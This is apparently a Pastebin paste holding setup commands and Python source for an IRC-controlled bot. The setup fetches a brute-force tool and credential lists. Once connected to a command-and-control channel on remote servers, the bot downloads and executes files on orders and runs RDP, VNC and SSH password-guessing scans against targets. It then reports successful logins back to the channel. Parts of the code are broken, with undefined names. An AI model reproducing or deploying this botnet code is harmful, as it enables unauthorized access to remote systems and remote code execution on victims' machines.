Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # apt install git gcc gpp cpp make freerdp-x11 python-pip python-dev openssl libssl-dev xterm tightvncserver openbox -y
- # git clone https://github.com/galkan/crowbar
- # wget -O scan.py https://pastebin.com/raw/BCpgT20r
- # chmod +x /root/crowbar/crowbar.py
- # wget -O /user https://pastebin.com/raw/qxJPNiK8
- # wget -O /pass https://pastebin.com/raw/Vhc0NBW5
- # pip install rdpy
- # pip install paramiko
- # vncserver -kill :9
- # vncserver :9
- # export DISPLAY=:9
- # ssh-keygen
- #IMPORTS
- import os
- import random
- import shutil
- import socket
- import sys
- import threading
- import time
- import urllib
- #CONFIG
- ircs = 'irc-1.iownyour.biz'
- ircp = 6667
- ircs_backup = 'irc-2.iownyour.biz'
- ircp_backup = 6667
- ircc_backup = '#power'
- version = '1.0.2'
- #GLOBALS
- irc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- #EXECUTE COMMAND
- def command(cmd): os.popen(cmd)
- #DOWNLOAD / EXECUTE
- class download(threading.Thread):
- def __init__(self, url):
- self.url = url
- threading.Thread.__init__(self)
- def run(self):
- try:
- if getType(self.url) == 'application/octet-stream':
- name = os.path.basename(self.url)
- temp = os.environ['TEMP']
- path = temp + '\\' + name
- urllib.urlretrieve(self.url, path)
- command(path)
- irc_msg('[DL] - DONE!')
- else:
- pass
- except:
- irc_msg('[DL] - FAIL!')
- #COUNTRY
- def getCountry():
- if getIP() == 'Unknown IP':
- return 'Unknown Country'
- else:
- try:
- return urllib.urlopen('http://api.wipmania.com/' + getIP()).read()
- except:
- return 'Unknown Country'
- #IP ADDRESS
- def getIP():
- try:
- return urllib.urlopen('http://bot.whatismyipaddress.com/').read()
- except:
- return 'Unknown IP'
- #RANDOM KEY
- def getKey(length): return str(random.randint(1000, 9999))
- #GET FILE TYPE
- def getType(url):
- try:
- return urllib.urlopen(url).info()['Content-Type']
- except:
- return 'Unknown Type'
- #CONNECT
- def irc_connect(server, port, channel, nick):
- irc.connect((server, port))
- irc_raw('NICK ' + nick)
- irc_raw('USER ' + nick + ' ' + getKey(4) + ' ' + server + ' :' + getKey(4))
- time.sleep(5)
- irc_raw('JOIN :#power')
- #MESSAGE
- def irc_msg(msg): irc_raw('PRIVMSG ' + ircc + ' : ' + msg)
- #RAW
- def irc_raw(msg): irc.send(msg + '\r\n')
- #SETUP
- connected = False
- key = getKey(4)
- nick = '[b4wt]' + key
- #IRC CONNECT
- while connected == False:
- try:
- try:
- irc_connect(ircs, ircp, ircc, nick)
- connected = True
- except:
- irc_connect(ircs_backup, ircp_backup, ircc_backup, nick)
- ircc = ircc_backup
- connected = True
- except:
- time.sleep(30) #5 MINUTE DELAY
- #COMMANDS
- while connected == True:
- try:
- data = irc.recv(4096)
- data = data.strip('\n\r')
- split = data.split()
- if data.find('PING') != -1:
- irc_raw('PONG ' + split[1])
- irc_raw('JOIN #power')
- if data.find ('PRIVMSG') != -1:
- nick = data.split('!')[0].replace(':', '', 1)
- host = data.split('@')[1].split(' ')[0]
- msg = ''.join(data.split(':', 2)[2:]).replace('\r\n', '')
- if msg.startswith('.dl '):
- if msg.startswith('.dl all '):
- url = msg.replace('.dl all ', '', 1)
- download(url).start()
- elif msg.startswith('.dl ' + key + ' '):
- url = msg.replace('.dl ' + key + ' ', '', 1)
- download(url).start()
- elif msg == '.kill ' + key:
- uninstall()
- elif msg.startswith('.list'):
- console_output = os.popen('grep SUCCESS success.log').read()
- console_output_lines = console_output.split('\n')
- for line in console_output_lines:
- irc_msg(line)
- elif msg.startswith('.rdp'):
- testsplit = msg.split()
- irc_msg('9,1RDP Scanning: ' + testsplit[1])
- os.system('/root/crowbar/crowbar.py --quiet -o success.log -b rdp -t 2 -n 2 -p 3389 -U /user -C /pass -s ' + testsplit[1])
- elif msg.startswith('.vnc'):
- testsplit = msg.split()
- irc_msg('9,1VNC Scanning: ' + testsplit[1])
- os.system('/root/crowbar/crowbar.py --quiet -o success.log -p 5900 -t 3 -n 1 -b vnckey -k /root/.ssh/ -C /pass -s ' + testsplit[1])
- elif msg.startswith('.ssh'):
- testsplit = msg.split()
- irc_msg('9,1SSH Scanning: ' + testsplit[1])
- os.system('/root/crowbar/crowbar.py --quiet -o success.log -p 22 -b sshkey -k /root/.ssh/ -n 5 -t 3 -U /user -C /pass -s ' + testsplit[1])
- except:
- os.system('python scan.py')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement